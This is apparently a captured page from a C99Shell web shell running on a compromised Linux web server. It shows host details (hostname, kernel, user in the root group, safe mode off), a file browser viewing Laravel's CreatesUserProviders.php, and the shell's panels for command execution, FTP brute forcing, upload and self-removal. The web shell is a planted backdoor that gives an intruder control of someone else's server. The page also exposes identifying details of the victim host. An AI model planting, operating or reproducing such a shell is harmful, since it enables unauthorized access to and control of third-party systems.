!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Auth/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CreatesUserProviders.php (2.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Auth;

use 
InvalidArgumentException;

trait 
CreatesUserProviders
{
    
/**
     * The registered custom provider creators.
     *
     * @var array
     */
    
protected $customProviderCreators = [];

    
/**
     * Create the user provider implementation for the driver.
     *
     * @param  string|null  $provider
     * @return \Illuminate\Contracts\Auth\UserProvider|null
     *
     * @throws \InvalidArgumentException
     */
    
public function createUserProvider($provider null)
    {
        if (
is_null($config $this->getProviderConfiguration($provider))) {
            return;
        }

        if (isset(
$this->customProviderCreators[$driver = ($config['driver'] ?? null)])) {
            return 
call_user_func(
                
$this->customProviderCreators[$driver], $this->app$config
            
);
        }

        return match (
$driver) {
            
'database' => $this->createDatabaseProvider($config),
            
'eloquent' => $this->createEloquentProvider($config),
            default => throw new 
InvalidArgumentException(
                
"Authentication user provider [{$driver}] is not defined."
            
),
        };
    }

    
/**
     * Get the user provider configuration.
     *
     * @param  string|null  $provider
     * @return array|null
     */
    
protected function getProviderConfiguration($provider)
    {
        if (
$provider $provider ?: $this->getDefaultUserProvider()) {
            return 
$this->app['config']['auth.providers.'.$provider];
        }
    }

    
/**
     * Create an instance of the database user provider.
     *
     * @param  array  $config
     * @return \Illuminate\Auth\DatabaseUserProvider
     */
    
protected function createDatabaseProvider($config)
    {
        
$connection $this->app['db']->connection($config['connection'] ?? null);

        return new 
DatabaseUserProvider($connection$this->app['hash'], $config['table']);
    }

    
/**
     * Create an instance of the Eloquent user provider.
     *
     * @param  array  $config
     * @return \Illuminate\Auth\EloquentUserProvider
     */
    
protected function createEloquentProvider($config)
    {
        return new 
EloquentUserProvider($this->app['hash'], $config['model']);
    }

    
/**
     * Get the default user provider name.
     *
     * @return string
     */
    
public function getDefaultUserProvider()
    {
        return 
$this->app['config']['auth.defaults.provider'];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--